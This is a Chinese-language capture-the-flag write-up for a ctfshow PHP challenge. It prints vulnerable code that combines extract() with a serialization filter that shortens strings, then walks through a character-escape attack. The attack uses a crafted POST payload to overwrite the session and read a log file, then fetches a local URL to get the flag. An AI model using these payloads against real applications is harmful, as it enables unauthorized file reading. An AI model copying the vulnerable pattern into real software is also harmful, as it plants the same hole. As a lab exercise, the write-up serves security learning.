题目
<?php
error_reporting(0);
highlight_file(__FILE__);
$function = $_GET['POST']; //1
function filter($img){ //2
$filter_arr = array('ctfshow','daniu','happyhuyear');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){ //3
unset($_SESSION);
}
$_SESSION['function'] = $function; //4
extract($_POST['GET']); //5
$_SESSION['file'] = base64_encode("/root/flag"); //6
$serialize_info = filter(serialize($_SESSION)); //7
if($function == 'GET'){
$userinfo = unserialize($serialize_info); //8
//出题人已经拿过flag,题目正常,也就是说...
echo file_get_contents(base64_decode($userinfo['file'])); //9
}
类型:
字符逃逸
代码审计:
先看源码,1、通过get获取一个值赋给 $function。
2、一个filter函数过滤 $img变量,通过正则表达式 /ctfshow|daniu|happyhuyear/i 匹配,并替换为空。
3、销毁已经设置的session
4、将 $_function的值赋给 $_SESSION[‘function’]
5、提取post提交数组并转换为变量
6、设置file的值
7、将session序列化并过滤赋值给$serialize_info
8、如果 f u n c t i o n 的值为 G E T 就反序列化 function的值为GET就反序列化 function的值为GET就反序列化serialize_info 并赋值给 $userinfo
9、输出base64编码并转换为字符串的文件
wp:
通过题中注释提示,应访问日志文件/var/log/nginx/access.log,也就是将file的值改为base64编码之后的/var/log/nginx/access.log,而题中自动将其覆盖为/root/flag,所以需要利用反序列化字符逃逸。
这里通过get获取?POST=GET
然后通过post获取session的数组,
GET[_SESSION][ctfshowdaniu]=s:1:";s:1:"1";s:4:"file";s:36:"L3Zhci9sb2cvbmdpbngvYWNjZXNzLmxvZw==";}
这样传的数组将覆盖session里面的值,为ctfshowdaniu=>s:1:";s:1:"1";s:4:"file";s:36:"L3Zhci9sb2cvbmdpbngvYWNjZXNzLmxvZw==";}
原来题中的$serialize_info为
a:2:{s:8:"function";N;s:4:"file";s:16:"L3Jvb3QvZmxhZw==";}
也就是session数组{
“function”=>NULL
“file”=>L3Jvb3QvZmxhZw==
}
而通过post将function的值覆盖后,session为
{
“ctfshowdaniu”=>s:1:";s:1:“1”;s:4:“file”;s:36:“L3Zhci9sb2cvbmdpbngvYWNjZXNzLmxvZw==”;}
“file”=>L3Jvb3QvZmxhZw==
}
序列化后为a:2:{s:12:“ctfshowdaniu”;s:70:“s:1:";s:1:“1”;s:4:“file”;s:36:“L3Zhci9sb2cvbmdpbngvYWNjZXNzLmxvZw==”;}”;s:4:“file”;s:16:“L3Jvb3QvZmxhZw==”;}
而通过filter函数过滤后变成了a:2:{s:12:“";s:70:"s:1:”;s:1:“1”;s:4:“file”;s:36:“L3Zhci9sb2cvbmdpbngvYWNjZXNzLmxvZw==”;}";s:4:“file”;s:16:“L3Jvb3QvZmxhZw==”;}
进行反序列化后即为{
“”;s:70:“s:1:”=>“1”
“file”=>“L3Zhci9sb2cvbmdpbngvYWNjZXNzLmxvZw==”
}
即成功将file的值改为 /var/log/nginx/access.log
最后得到
通过读取日志文件,判断flag应该再/ctfshow下面,故应该访问http://127.0.0.1/ctfshow
即post GET[_SESSION][ctfshowdaniu]=s:1:";s:1:"1";s:4:"file";s:32:"aHR0cDovLzEyNy4wLjAuMS9jdGZzaG93";}
即可得到flag
ctfshow{5cb18386-59f0-41c1-937b-8c184bb4a338}